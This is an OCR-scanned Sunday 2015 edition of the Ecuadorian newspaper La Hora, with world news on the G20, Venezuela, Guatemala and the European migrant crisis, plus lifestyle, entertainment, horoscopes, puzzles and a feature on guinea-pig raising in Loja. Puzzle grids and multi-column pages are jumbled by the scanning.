G20 considera insuficiente el crecimiento mundial El G20 consideró ayer insuficiente el crecimiento mundial, en un contexto de preocupación por la ralentización económica de China, pero se comprometieron a coordinar su política monetaria y cambiaria. “El crecimiento mundial está por debajo de nuestras expectativas”, afirma un borrador del comunicado final de la reunión que durante dos días sostuvieron en Ankara los ministros de Finanzas y directores de bancos cen-

ANKARA, AFP •

trales de ese grupo de potencias industrializadas y emergentes. “Nos hemos comprometido a adoptar medidas decisivas para que el crecimiento se mantenga encaminado y confiamos en que la reactivación económica se acelerará”, afirma el documento. El G20 prometió además “abstenerse de cualquier devaluación competitiva”, un mensaje para China cuya reciente devaluación del yuan conmmocionó a los mercados financieros mundiales en las últimas semanas.

“Reiteramos nuestro compromiso de avanzar hacia sistemas cambiarios determinados por el mercado y la flexibilidad de las tasas cambiarias”, subraya el proyecto de declaración final. El grupo de 20 países, que supone el 85% de la economía mundial, anima por último a los países ricos a “ampliar sus esfuerzos de financiación” en la lucha contra el calentamiento climático, con vistas a la conferencia internacional que se celebrará a finales de año en París.

CITA. Los representantes de los 20 países más ricos se reunieron en Ankara.

GLOBAL

Sesión de conclusiones del juicio a Leopoldo López pospuesta hasta el 10 de septiembre

CARACAS, EFE• La sesión de conclusiones del juicio al dirigente opositor venezolano Leopoldo López, en la que su defensa esperaba que se anunciase su senten-

cia, fue pospuesta para el próximo jueves, 10 de septiembre, informó ayer la esposa del político encarcelado, Lilian Tintori. En declaraciones a los periodistas, explicó que la audiencia se suspendió, tras una maratoniana sesión, sin que hubiera comenzado aún la declaración final de López, que tendrá lugar el jueves. “Estamos saliendo con una admiración increíble por el abogado de Leopoldo López, Juan Carlos Gutiérrez, quien hoy pudo hablar durante tres horas para defender el caso y fue admirable”.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

2.400 fiscales garantizarán votación libre en Guatemala na diferentes centros de votación blico de Guatemala informó ayer en Guatemala, la ciudad colonial del desplazamiento de 2.400 fis- de Antigua y el departamento cales auxiliares y oficiales para occidental de Chimaltenango garantizar el libre ejercicio al para verificar el trabajo de los voto en los comicios generales fiscales. Estas acciones se enmarcan del país centroamericano. El fiscal Óscar Shaad explicó en el Plan Operativo del Minisque el objetivo de este plan es ve- terio Público para el ejercicio de rificar que los guatemaltecos no su función constitucional duransean coaccionados a votar por te las elecciones de 2015. determinado candidato, ni que reciban dinero a EL DATO Los comicios cambio o se viole el secreCerca de 7,5 millones de to al sufragio, entre otras Las autoridades guatemaltecos están conque resulten irregularidades. vocados a las urnas para tomarán Shaad dijo que los ciu- electas posesión para un elegir presidente, vicedadanos que hoy acudan periodo de cua- presidente, 158 diputados tro años el 14 de a las urnas podrán de- enero de 2016. al Congreso, 20 al Parlanunciar cualquier anomento Centroamericano malía a los fiscales que esy 338 corporaciones mutarán en los centros de votación. nicipales. Los fiscales, que estarán La primera magistratura del acompañados de delegados de la país se la disputarán 14 candidaProcuraduría de Derechos Hu- tos y si ninguno obtiene el 50 % manos, verificarán también el más un voto, habrá una segunda estricto cumplimiento de la Ley vuelta electoral el próximo 25 de durante el proceso. octubre entre los dos aspirantes Shaad aseguró que los fun- con más sufragios. cionarios están facultados para El nuevo presidente de Guarealizar una investigación de las temala, Alejandro Maldonado, denuncias que se les presenten convocó a los ciudadanos empadurante el proceso. dronados a acudir masivamente La jefa del Ministerio Público, a las urnas para elegir a las nueThelma Aldana, visitará maña- vas autoridades del país.

GUATEMALA, EFE •El Ministerio Pú-

RECORRIDO. Luis Almagro, secretario general de la Organización de Estados Americanos (OEA), visitó albergues en Cúcuta.

Secretario de la OEA visita frontera colombo-venezolana Se estima que la crisis entre ambos países ha dejado a unos 16.500 colombianos afectados. BOGOTÁ, AFP • El secretario gene-

“Estamos en el terreno, asistiendo a la gente, y seguimos impulsando el diálogo directo” entre gobiernos para resolver la situación, añadió.

ral de la Organización de Estados Americanos (OEA), Luis Almagro, visitó ayer la frontera entre Colombia y Venezuela en medio de la crisis EL DATO entre ambos países, que Recuento deja más de 16.500 co- La visita del La crisis fronteriza colombianos afectados, en- secretario de la menzó el 19 de agosto con se produce el cierre de una parte de tre deportados y quienes OEA luego de que el huyen por temor a serlo. organismo recha- la frontera por Maduro, el lunes la Almagro visita la ciu- zara tras un ataque a militasolicitud de dad fronteriza de Cúcu- Colombia de con- res venezolanos durante vocar una cita ta, adonde han llegado extraordinaria de una operación anticonla mayoría de los damni- cancilleres. trabando, que el mandaficados, en compañía de tario atribuyó a “paramila canciller colombiana, María litares colombianos”. Ángela Holguín, y el ministro de Entre los damnificados hay Interior, Juan Fernando Cristo, al menos 1.355 colombianos derespondiendo a una invitación portados y más de 15.000 que del alcalde local que estuvo esta han huido de Venezuela por semana en Washington. miedo a ser expulsados sin sus Según la agenda difundida familias o enseres, según datos por el Gobierno colombiano, divulgados el viernes por las el Secretario de la OEA estará Naciones Unidas. en varios albergues de la zona, La tensión aumentó hace en el puente internacional que una semana, cuando los dos une Cúcuta con la ciudad ve- países llamaron a consultas a nezolana de San Antonio del sus embajadores en medio de Táchira y que se encuentra ce- denuncias de violaciones de rrado desde hace tres semanas los Derechos Humanos de los por decisión del presidente ve- afectados. nezolano, Nicolás Maduro. Ambos países comparten En una entrevista con el dia- una porosa frontera de 2.219 rio colombiano El Tiempo, Al- km, en la que denuncian la acmagro aseguró que “en esta vi- tividad de grupos irregulares sita velamos por los Derechos que lucran con el contrabando Humanos y el Derecho Huma- de combustible y otros producnitario”, con especial atención a tos altamente subsidiados por los niños afectados. el Gobierno venezolano.

Ecuador gestiona cita bilateral °

El presidente, Rafael Correa, reveló ayer que está gestionando una cita bilateral entre los mandatarios de Colombia y Venezuela para que resuelvan la crisis migratoria y política desatada por el cierre fronterizo y las deportaciones de colombianos dispuestas por Caracas. Mientras tanto, el presidente venezolano, Nicolás Maduro, aseguró ayer que está listo para mantener un encuentro “cara a cara” con su homólogo colombiano, Juan Manuel Santos.

PROCESO. Las elecciones se darán luego de la salida del presidente Otto Pérez. En la gráfica se puede ver uno de los cierres de campaña.

Dirección: Anillo Vial, a dos cuadras de la Policía Nacional Visítanos en: www.hotelgoldenvista.com Reservaciones: 022 746 250 / 2752 924 / 099 449 0930 SANTO DOMINGO- ECUADOR

Habitaciones Simples, Dobles, Triples, Matrimoniales y Suites Habitaciones con Aire Acondicionado, Tv Cable, Teléfono, Wi - Fi

GLOBAL B8

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

Detalles

Crisis humanitaria

° Los países de la UE están bajo presión para dar muestras de solidaridad después de que más de 366.000 personas cruzaran el Mediterráneo en lo que va de año, y que más de 2.800 murieran en el intento, según la ONU. ° El Alto Comisionado de la ONU para los Refugiados, Antonio Guterres, instó el viernes al reparto de al menos 200.000 solicitantes de asilo en la Unión Europea. La víspera, la Comisión Europea había propuesto el reparto de 120.000. ° Una pequeña ONG de malta Moas recaudó 1,5 millones de euros de donaciones en menos de tres días, frente a un máximo de 10.000 euros por día antes.

ACOGIDA. Ayer se esperaba que más de mil personas durmieran en una estación de trenes de Viena.

Migrantes llegan a Austria y Alemania El éxodo de personas solo se puede comparar con el ocurrido al final de la Segunda Guerra Mundial.

NICKELSDORF, AUSTRIA, AFP • Miles de migrantes llegaban ayer a Austria y Alemania procedentes de Hungría, en medio de unas escenas caóticas insólitas en Europa desde hace setenta años. “Estamos frente a una situación dramática. No es una emergencia, es algo que durará”, estimó la jefa de la diplomacia europea, Federica Mogherini, tras una reunión de ministros de Exteriores de la Unión Europea (UE) en Luxemburgo. “Cuanto antes lo aceptemos más rápido podremos responder de manera efectiva”, añadió.

Éxodo y acogida

Al menos 500 personas bloqueadas en Hungría desde hace varios días emprendieron una caminata hacia la frontera austríaca, a 175 km. El viernes hicieron otro tanto unos 1.200 migrantes, lo que obligó a las autoridades húngaras a conducir a

miles más en autobús a la frontera. Sin embargo, este sábado la Policía de Hungría anunció que no se fletarán más autobuses para los migrantes. Austria preveía la llegada de 10.000 inmigrantes sólo este sábado, de los cuales muchos seguirán su ruta hacia Alemania, que espera el arribo de unos 7.000. Ambos países han dado su acuerdo para acogerlos. “Estoy en la frontera con Hungría y miro lo que pasa. El flujo de personas continúa”, contó Hans Peter Doskozil, jefe de la Policía del Estado de Burgenland (este de Austria), describiendo un éxodo que no se veía en Europa desde el final de la Segunda Guerra Mundial. ‘Lejos de terminarse’

Austria contabilizaba la tarde del viernes la llegada de 6.500 migrantes. En la estación de Viena, los recién llegados, envueltos en

mantas, y algunos con niños dormidos en los brazos, fueron acogidos por numerosos voluntarios que acudieron con comida, bebidas, jabones y billetes de tren. “Me duelen los dedos de los pies, me están sangrando. Hemos caminado demasiado. Quiero ir hasta Alemania, pero ahí me paro”, contó en Viena un sirio de 26 años, originario de Homs (centro), con los pies vendados. En Alemania, cientos de migrantes llegaron a la estación de Múnich este sábado, y fueron de inmediato trasladados a centros de acogida en la ciudad. Se espera la llegada de otros trenes en Fráncfort (oeste) y en Turingia (centro). La canciller alemana Angela Merkel aseguró que buscará mantener el equilibrio presupuestario, pese al costo que representa la acogida de refugiados. El diario Frankfurter Allgemeine Zeitung evalúa este costo a 10.000 millones de euros para 2015, cuatro veces más que el año pasado. Solidaridad y críticas

En París, miles de personas salieron a las calles este sábado

para reclamar la apertura de las fronteras para los refugiados que huyen en masa desde Siria y otras regiones en guerra. “Después de innumerables ejemplos de tratamiento vergonzoso a los refugiados y los migrantes por parte de los gobiernos de Europa, alivia ver al fin un poco de humanidad. Pero esto está lejos de haber acabado, en Hungría y en Europa”, advirtió un responsable de Amnistía Internacional. El Ministro húngaro de Relaciones Exteriores, a cuyo país llegaron más de 50.000 migrantes en agosto, se defendió este sábado de las críticas. “Lo que ha sucedido en Hungría desde la noche pasada es para empezar la consecuencia del fracaso de la política migratoria de la UE”, dijo Peter Szijjarto. Según él, tienen también la culpa “las declaraciones irresponsables” de Alemania, que anunció que ya no expulsará a los refugiados sirios al país por el que entraron en la UE. ‘Desorden’ en Europa

Mientras tanto, siguen llegando

EXPRESIÓN. Miles de europeos se movilizaron para que se abran las fronteras y se dé una respuesta a la crisis humanitaria.

cientos de inmigrantes a las islas griegas del Egeo oriental desde las costas de Turquía, según el Ministerio de la Marina. En la isla de Lesbos, que recibe la mitad de ese flujo, hubo breves incidentes entre la Policía y los refugiados, que protestaban ante su centro por la lentitud de su inscripción, previa a su partida hacia Atenas, según imágenes de la televisión griega. En el terreno diplomático, el ministro austríaco de Relaciones Exteriores, Sebastian Kurz, pidió a la Unión Europea (UE) que “abra los ojos” ante la crisis migratoria, que ha creado un gran “desorden” en el continente.

P37400/ai/a/kc

VIDA LIGHT

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR

Buen humor, excelente salud Según datos de la Organización Mundial de la Salud (OMS), más de 350 millones de personas en el mundo sufren depresión. Ahora, una nueva investigación revela que el tener amigos mentalmente saludables y habitualmente de buen humor puede ayudar a alguien a recuperarse de la depresión o incluso contagiarse de su buen estado de ánimo.

Adecuada nutrición, aliada del buen descanso Alimentos y nutrientes debidamente combinados son una gran ayuda para conciliar el sueño. Las horas de descanso son importantes para desempeñarse de forma efectiva a lo largo del día y la nutrición juega también un papel fundamental a la hora de dormir, según señala Kristin Kirkpatrick, del instituto Wellness de la clínica Cleveland. La comida se asocia directamente con la serotonina, una hormona clave que, junto a la vitamina B6, B12 y el ácido fólico, promueve un sueño saludable. “Intenta consumir alimentos que calmen al organismo, aumenten los niveles de serotonina y te ayuden a conseguir un sueño reparador”, aconseja Kirkpatrick. Recuerde que los nutrientes guardan muchas propiedades, solo hace falta combinar los ingredientes naturales precisos para ayudar al organismo a que funcione apropiadamente y usted tenga un gran relax. Unas cuantas sugerencias

Los hidratos de carbono complejos (no los simples, es decir los

refinados), que son los productos integrales como panes, cereales, pasta y galletas, aumentan los niveles de serotonina y benefician al sueño. El queso bajo en grasas, el pavo, el pollo y el pescado cocinados, al horno o al vapor, forman parte de las proteínas magras, que son altos en el aminoácido triptófano y tiende a aumentar los niveles de serotonina. No se recomienda el consumo de productos fritos porque tardan más en digerirse y pueden mantenerle despierto. También están las grasas saludables para el corazón, se trata de las insaturadas. No únicamente fortalecen la salud cardiaca, sino que además mejoran los niveles de serotonina. Los ejemplos incluyen a la mantequilla de cacahuete (pero que estos sean su único ingrediente) y frutos secos como las nueces, las almendras y los pistachos. Liquido adecuado

Una buena bebida para tomar

TRASCENDENTAL. Dormir bien es un gran placer. Ayuda a tener energías y ser más positivo y productivo.

Aperitivos efectivos °

Kristin Kirkpatrick, del instituto Wellness de la clínica Cleveland, propone algunos bocadillos que podrían ayudar a conciliar el sueño. Entre las múltiples opciones están el plátano con yogur desnatado, el queso fresco bajo en grasas con crujientes de pan de pita integral o galletas saladas 100% integrales untadas con mantequilla de cacahuete.

Detalles

Lo que debe saber

° Hay que evitar los fritos. No consuma en la noche los pimientos °rojos. Estos tienen un efecto estimulante. antes de ir a dormir es un vaso templado de leche o una infusión de hierbas como la manzanilla. En lo que se refiere a las que contienen cafeína, Kirkpatrick recomienda a quienes tengan problemas de sueño que ingieran la última taza a las 14:00. “La cafeína afecta de forma dis-

RECUERDE. Los malos hábitos en la alimentación y en la vida diaria no contribuyen a tener un buen descanso.

tinta a cada persona e incluso la más pequeña cantidad de un estimulante puede mantenernos despiertos”, explica. Pero las hierbas aromáticas frescas pueden tener un efecto calmante sobre el organismo. Así, la salvia y la albahaca con-

tienen componentes químicos que reducen la tensión y originan el sueño. Una gran opción es preparar la salsa para la pasta con salvia y albahaca; las versiones caseras tienen menos azúcar que las del supermercado. (20MINUTOS.ES)

RECETAS Aproveche Comprar frutas y verduras de temporada es beneficioso para su salud y su economía. Estar pendiente de la producción de cada época ayudará a saber qué se encuentra con facilidad en el mercado. Para los expertos en gastronomía, las frutas y las verduras frescas tienen mejor sabor y textura.

El té verde Es una de las infusiones que más se recomiendan para perder peso, pero también ayuda mucho a depurar el organismo y prevenir tumores. También es beneficioso para mantener bien la tensión arterial y reducir los problemas crónicos relacionados con el sistema circulatorio.

El vino Estudios sugieren que el vino tinto es bueno para el corazón debido a los antioxidantes que posee como los polifenoles rojos y el resveratrol, que pueden ayudar a proteger el revestimiento de los vasos sanguíneos, evitar el colesterol LDL (colesterol malo) y prevenir la formación de coágulos.

CYAN MAGENTA YELLOW BLACK

TEMPO B10

tiempo lectura 15 min.

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR

Éxito de taquilla en Chile ‘LOS 33’

MINUTERO Insiste en ser soltero

MÉXICO • Enrique Iglesias °declaró que las relaciones per-

fectas no existen, y que el matrimonio para él no es necesario. El cantautor declaró al Daily Express: “Pasas por momentos malos y buenos, es difícil pensar en una relación perfecta, no creo que exista”. Iglesias vive con Anna Kournikova desde 2001, sin embargo, hasta el momento no han contraído matrimonio. LA BOTANA

La sedujo en la ducha Christine Ouzounian está °más que dispuesta a reve-

lar secretos íntimos de Ben Affleck, a cambio de buenas cantidades de dinero. La revista OK! tiene de portada a la famosa niñera que acabó con el matrimonio del actor con Jennifer Garner, pesadilla que parece no terminar todavía. La mujer de 28 años revela que el actor la sedujo en la ducha, y promete confesar más intimidades de su relación y de la vida familiar de la pareja de actores. AGENCIAS

Baila por los animales MÉXICO • Pamela Anderson °abanderará las causas de

su fundación a favor de los animales, y bailará con quien pague 7.500 dólares. La actriz y modelo asistirá a un evento en marco del Foro Económico de Vladivostok, en Rusia, donde recaudará fondos para su fundación que trabaja contra la caza furtiva y la venta ilegal de animales salvajes. Los asistentes al evento que quieran bailar con Anderson, estrella del programa ‘Guardianes de la Bahía’, tendrán que preparar su billetera para aportar a esa noble causa que ella encabeza desde hace tiempo. LA BOTANA

REALIDAD. Antonio Banderas (c) es uno de los protagonistas de esta historia que conmovió al mundo.

El drama, basado en una historia real, superó en venta de boletos a varios filmes internacionales. •La película denunció cómo las grandes cor‘Los 33’, que se estrenó el jueves poraciones se han aprovechado en salas chilenas y también en de los protagonistas reales de la teatros ecuatorianos, ya se trans- tragedia. “La película es una lección de formó en un éxito de taquilla con casi 250 mil espectadores en 140 humanidad y muestra que cuando la gente se une con un objetipantallas del país araucano. Según el comunicado oficial, vo común, se logran muchas cola cinta ya superó en recauda- sas”, resaltó la cineasta de dicho ción a grandes estrenos inter- drama. El reconocido productor de nacionales como ‘Harry Potter’, ‘Iron Man’, ‘Transformers’ y cine estadunidense Mike Me‘Jurassic World’. De acuerdo a davoy le envió un guion de ‘Los aquel boletín oficial, la película 33’ a Riggen para que dirigiera el se convirtió en “el drama más largometraje sobre los mineros que quedaron atrapados visto de todos los tiema 700 metros bajo tierra, pos superando a películas EL DATO tras el colapso de la ramcomo ‘Cincuentas sombras de Grey’, ‘La pasión El próximo 13 de pa principal a la mina San José, ubicada en Copiapó, de Cristo’, ‘Bajo la misma noviembre se proyectará en estrella’ y ‘Titanic’. mil 500 salas de Atacama. “Fue muy complicado Aunque no es una pro- Estados Unidos. conseguir el financiaducción chilena, el comunicado señala que si se la consi- miento para la filmación y tamdera como una ‘película local’, bién tuvo dificultad lograr su ya sería la segunda apertura más distribución, pues por ser una grande de la historia, solo detrás historia latina no había interés”, reveló la destacada cineasta por de ‘Stefan v/s Kramer’. teléfono desde Atlanta, (EE. UU.), donde actualmente rueProblemas de rodaje Un sinfín de dificultades tuvo da otro drama, ‘Miracles From que enfrentar la cineasta mexi- Heaven’, de Sony Pictures, con cana Patricia Riggen durante los actores Jennifer Garner y tres años para filmar ‘Los 33’, Eugenio Derbez, para los procinta donde recrea la experien- ductores Joe Roth, TD Jakes y cia de 33 mineros chilenos res- Devon Franklin, cuyo estreno se catados el 13 de octubre de 2010, programó para la primavera de tras 69 días de colapsar la mina 2016. El relato trata sobre el detedonde trabajaban. Riggen relató las peripecias rioro físico y mental que sufren del rodaje y los problemas de los 33 mineros cuando yacen su distribución, al tiempo que atrapados en la mina chilena LA HORA, AGENCIAS

Los protagonistas El elenco lo conforman Gustavo Angarita, Antonio Banderas, Adriana Barraza, °Juliette Binoche, James Brolin, Gabriel Byrne, Mario Casas, Cote de Pablo, Kate del Castillo, Elizabeth de Razzo, Lou Diamond Phillips, Alejandro Goic, Bob Gunton, Tenoch Huerta, Óscar Núñez, Rodrigo Santoro, Juan Pablo Raba, Naomi Scott, Marco Treviño y Jacob Vargas.

de oro y cobre durante 69 días, desde el 5 de agosto de 2010 al 13 de octubre del mismo año, y finalmente son rescatados. También se observan sus vidas personales y emotivas, y cómo sus

familiares, los rescatistas y el entonces gobierno de Chile lucharon por sacarlos vivos. Además, la historia muestra la manera en que las grandes corporaciones se aprovechan de los trabajadores.

HORÓSCOPO

¿Nació un 6 de septiembre?

Sentimental y amoroso. Ama las cosas finas, estéticas y armoniosas. Le gusta estar rodeado de la naturaleza y de paz. Su hogar es muy importante para Ud. Los asuntos económicos deben ser resueltos con calma y menos materialismo.

• HORAGRAMA

H. MARCELO MEJIA R. hmejia@lahora.com.ec

parte inferior del tejado

creMa de la leche

ARIES

Los asuntos legales serán favorables para Ud. La comunicación con su pareja será más agradable y sincera. Las asociaciones de tipo intelectual serán buenas. Recuerde: Realice plenamente su renovación diaria.

salvaje

síMBolo de

extraña rezar,

osMio

vellón

GÉMINIS

(mayo 21 - junio 21)

Los disfrutes y placeres que buscará serán más de tipo intelectual. Inteligencia y facilidad de palabra además del encanto personal será lo que busque en una pareja. Recuerde: En todo hombre bueno habita Dios.

Músico y actor panaMeño

La falta de firmeza y la ambigüedad de uno de sus padres será fuerte. La comunicación y la sinceridad serán necesarias para sobrellevar los asuntos del hogar. Recuerde: Su momento presente es una feliz oportunidad.

MAXPRIME, 20:00

asno salvaje

MoliBdeno

BeisBol chicha

ciudad de venezuela vasija,

E R

N A

aCTor briTániCo de la pelíCula CaSino royal

niño de peCho

Gabán

Símbolo de oSmio

eloGiar

Símbolo del nobelio

Ciudad de Turquía

Cuadrúpedo aSTro rey

A L láTex

Carro en inGléS

reliGioSa

CorTar arGolla

argucia,

discurso,

diosa de la

Marsupial

rinoceronte

ión

proyeCTil roCío llovizna

CompoSiCión líriCa Símbolo del Sodio

A S A R G a CELEBRIDADES v

fluenTe

EMIL FISCHER (1851 - 1919) QuíMICo aLEMán. REaLIzó EStudIoS SobRE EStERoEQuíMICa. PREMIo nobEL dE QuíMICa En 1902.

Trampa

R A

aSija para GuiSar

A L L

nave

manTeCa

manTo beduino

río del eCuador baTaTa

aSTaTo

alfa

Símbolo de

hembra del

que ha perdiaSTado

marGen inSTrumenTo muSiCal

borde,

pillar

Cabro

do el juiCio

pronombre

perSonal

Saludo indio

paSmada rizoma, oriGen

eSCriTor mexiCano

dioS del amor

arTíCulo femenino

radio

hoGar

Cordillera de ruSia

pareja

Sin brillo

Caudillo de loS hunoS diGnidad papal

áTomo

diSperSo

SufrimienTo

miSTer abreviado meTal preCioSo

ola

A R U

moleSTia

primera noTa muSiCal

disperso

vegetación en el desierto

Metal precioso

solitario crecida

priMera nota

foGarada

altar

ofidio de Gran Tamaño mujer que no Cree en dioS

delta

loBo departaMento de perú

pelíCula maCheTe

argolla

cria del

aCTriz de eeuu. de la

eSCriTor mexiCano

N A A T

amamanTar,

liSTa

roSTro Símbolo de

oeSTe

eduCar

A R

hermano de moiSéS

delta

tierra

proclaMa

australiano

río de perú

Carbono

exTraña

Calle de un pueblo

Símbolo de

deparTamenTo de perú embuSTe,

deSTreza

formar nombre femenino

dádiva

invenTar,

rato sin vocales

Solución anterior C

su novia. Todo se complica con la llegada de Electro, un enemigo más poderoso que él, y el regreso de Harry Osborn, un viejo amigo que le ayudará a descubrir asuntos importantes sobre OsCorp. Es la secuela de ‘El sorprendente Hombre Araña’.

Maíz para la

ardid

(julio 23 - agosto 22)

Peter Parker divide su vida °entre proteger la ciudad y a

palo de

síMBolo de

cántaro

LEO

El sorprendente Hombre Araña 2

planeta

rotar

exitosa cantante cuBana

(junio 22 - julio 22)

la superficie gorra sin visera

volver a atar

furia

CÁNCER

parafina oMega

igualdad en

dios de los reBaños

fue una

coBalto

huevo

longitud

traMpa

repercusión

síMBolo del

Medida de

da de agua

coMpositor,

Que no cree en dios

TVFAN

chino

parte del

eMBuste Moneda de coloMBia falta

plantígrado

la Boca

tierra rodeagruesa

B11

político

de luz

Dentro de su trabajo será más equilibrado y práctico. La comunicación con sus compañeros mejora. Mantenga la tranquilidad para estabilizar su sistema nervioso. Recuerde: Lo que merece ser hecho, merece que lo haga muy bien.

Procure hacer un uso equilibrado e inteligente con su dinero. La pareja o hermanos pueden ser un apoyo económico. Se acrecientan los recursos intelectuales. Recuerde: El lenguaje de la verdad es sencillo.

relativo a

suplicar

Bañado

tiza

tieMpo

Manada de

(abril 20 - mayo 20)

(agosto 23 - septiembre 22)

del diluvio

cerdos

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora, ECUADOR

eMBarcación

ciudad de japón

Bóvido

TAURO

VIRGO

instruMento Musical esposa de aBrahaM

extraño

(marzo 21 - abril 19)

Su mente se torna más activa y tendrá gran facilidad para comunicarse con los demás. Los negocios que tengan relación con el área intelectual le pueden favorecer. Recuerde: Dé lo mejor de Ud. a los que le rodean.

MOSAICO

aMaestrar, aMansar

Musical

síMBolo del

repercusión

pordiosero,

litro

cuarta vocal

indigente

eMBarcación

papagayo

del diluvio

LIBRA

(septiembre 23 - octubre 22)

Su sensibilidad y flexibilidad le harán encantador ante los demás. Ud. poseerá mayor facilidad de palabra y pensamiento. Recuerde: Existe un gigante poderoso en cada uno de nosotros.

ESCORPIO

(octubre 23 - noviembre 21)

La mente puede anclarse en los sucesos del pasado. No permita que la depresión ni la tristeza le hagan su presa. Manténgase sereno y ecuánime. Recuerde: Si quiere sentirse feliz actúe con alegría y alborozo.

SAGITARIO

(noviembre 22 - diciembre 21)

Ud. buscará tener afinidad intelectual con sus amigos. El trato con ellos será diplomático y afectuoso. Proyectos a nivel intelectual. Recuerde: La alegría es una medicina eficaz para las personas abatidas.

CAPRICORNIO

(diciembre 22 - enero 19)

Será muy importante el tacto dentro de sus relaciones con superiores. Manéjese con cuidado y sea prudente. Deseos de reconocimiento. Recuerde: Feliz quien nos reconcilia con la vida.

ACUARIO

(enero 20 - febrero 19)

Los viajes al extranjero por estudios o negocios le pueden beneficiar mucho. Buen momento para abogados y jueces o para estudiar leyes. Recuerde: Ser feliz es alcanzar la sabiduría.

PISCIS

(febrero 20 - marzo 20)

Ud. está apto para el análisis de situaciones ocultas. Inclinación por el estudio de ocultismo y esoterismo. Cambios mentales profundos. Recuerde: La fe es más fuerte que el miedo.

MICROBIOGRAFÍA

• HORAKU Nro.3294

Roger Waters (1943)

Músico británico, uno de los fundadores y líderes de Pink Floyd, nace un día como hoy en Surrey, Reino Unido. Es el bajista de la agrupación y es uno de los principales compositores de la misma. También participó con su voz y tocando el sintetizador, la guitarra eléctrica y acústica. Es uno de los creativos al ejecutar proyectos conceptuales como ‘The Dark Side of the Moon’, ‘Wish You Were Here’, ‘Animals’ y ‘The Wall’. Es miembro del Salón de la Fama del Rock en EE.UU. y Reino Unido. (DVD)

Nro.3293 8 4

5 2

1 7

5 1

3 9

6 2 3 6 2 8 7 4

3 6

1 5

3 7 6

9 2

9 7

6 8

4 1

8 6 2

7 1

2 3

8 4 5 1 4 9 8 6 2 7 1 7 2 5 3 6 4 8 8 4 7 1 3 5 9 9 7 1 4 8 2 5 1 6 9 5 4 3 7 5 3 2 8 1 9 6

8 4 7 1

5 7 3 1 4

1 6 2 5 9 1

3 4 7 9 3 5 6

Tan fuerte y tan cerca CINEMAX, 15:45

niño de 9 años pierde a °suUn padre en los atentados en Nueva York del 11-S. En su casa consigue una llave y cree que con ella su padre le ha dejado un mensaje. Comienza así una conmovedora expedición por la ciudad para hallar la cerradura que abre.

CÁPSULA CIENTÍFICA

Prueban robot que descontamina en Japón La operadora de la central nuclear de Fukushima ha probado con éxito un nuevo robot teledirigido para retirar las sustancias radiactivas de los edificios de los reactores dañados, confirmó la eléctrica Tokyo Electric Power (Tepco). Su objetivo es facilitar el proceso de desmantelamiento de la planta, ya que permitirá limpiar zonas de difícil acceso de los inmuebles adonde no pueden llegar otros dispositivos, y en las que los niveles de radiactividad son demasiado altos para los

operarios humanos. El robot es capaz de alcanzar hasta los ocho metros de altura gracias a su cuerpo desplegable, con lo que podría limpiar gran parte del interior de los edificios e incluso el techo, donde se acumulan residuos altamente radiactivos emanados de los reactores tras la catástrofe nuclear de 2011. El dispositivo cuenta con una cabeza por la que expulsa chorros de hielo seco granulado (nombre que se le da al dióxido

AYUDA. El aparato operará en octubre.

de carbono en estado sólido), lo que le permite pulir la superficie de las paredes y retirar las sustancias radiactivas. Nota ampliada Léala en: www.lahora.com.ec

CYAN MAGENTA YELLOW BLACK

INTERCULTURAL

B12

DOMINGO 06 DE SEPTIEMBRE DE 2015 La Hora ECUADOR I

Consumo Pero los cuyes también son muy apetecidos. En las fiestas familiares de la zona °occidental, el plato de este animal es toda una tradición. La preparación inicia con una forma peculiar de matarlo: se le agarra de la cabeza y sobre una piedra o algo duro se le presiona o aplasta la nariz. Luego es pelado en agua hirviendo y se le sazona (con ajo y aliño) de un día para otro. Al siguiente día, se le asa y está listo para consumirlo, generalmente acompañado de papas, un pozuelo de arroz, lechuga y mote.

Sugieren apoyo tradición no desaparezca y vaya evolucionando, Marcia Díaz °pideParaquequese esta los capacite con siembra y mejoramiento de pastos, ya que en oca-

siones por falta de pastos compran taralla de maíz, que viene fumigada, lo cual enferma a los cuyes y mueren. José Yauri Saca, en cambio, manifiesta que lo idóneo sería que los doten de un buen sistema de riego de forma permanente para los pastos. “Si ayudaran con eso las autoridades no tendría 600 cuyes, sería 5 mil o 10 mil, pero no hay cómo”.

CRIANZA. José Yauri Saca muestra dos de sus mejores cuyes, que tienen un peso de cerca de 3 libras.

LOS CUYES SON PATRIMONIO EN CHUQUIRIBAMBA La crianza de este ejemplar ayuda en la economía y la alimentación de la gente de esta zona occidental de Loja.

S LOJA, LA HORA

i la parroquia Chuquiribamba, perteneciente a Loja, es Patrimonio Cultural del Ecuador, entonces el cuy lo es también para sus habitantes. El clima frío de Chuquiribamba y los extensos terrenos son aprovechados por la gente para la agricultura, pero no hay una familia que no tenga un criadero de cuyes. Si bien el clima frío y lluvio-

so de este sitio no es propicio para la crianza de estas especies, los habitantes se las ingenian de manera artesanal para hacer las denominadas ‘cuyeras’ o galpones. Por lo general, las elaboran en pequeños cuartos de madera con piso de tierra, si es posible con viruta, con el afán de que el frío no incomode a los intranquilos roedores que apenas sienten la presencia de alguien o cuando les llevan alimentos, hacen un sonido similar a su nombre.

Receta

Cuy asado Ingredientes: °1 cuy pelado

3 dientes de ajo 1 rama de cebolla blanca 1/2 cucharada de achiote Sal al gusto

°SePreparación: coloca la cebolla con el ajo en una licua-

DELICIA. Los cuyes asados son la especialidad.

dora por dos minutos, aproximadamente, luego se añade la sal, con esta mezcla se procede a condimentar (aliñar) el cuy y se le deja reposar hasta el día siguiente. Se le debe asar en carbón, barnizándolo con una mezcla de aceite y achiote de una manera uniforme. Se puede utilizar una brocha o una rama de cebolla conforme se van calentando, para que se asen de una forma homogénea.

En la nombrada parroquia, desde pequeños van aprendiendo esta tarea de criar a estos pequeños. “Para nosotros tener un cuy es como tener un perrito o mascota en la casa”, confiesa sonriente José Yauri Saca, de 60 años, quien en su galpón posee más de 600 de estos ejemplares de todas las edades y tamaños. Crianza

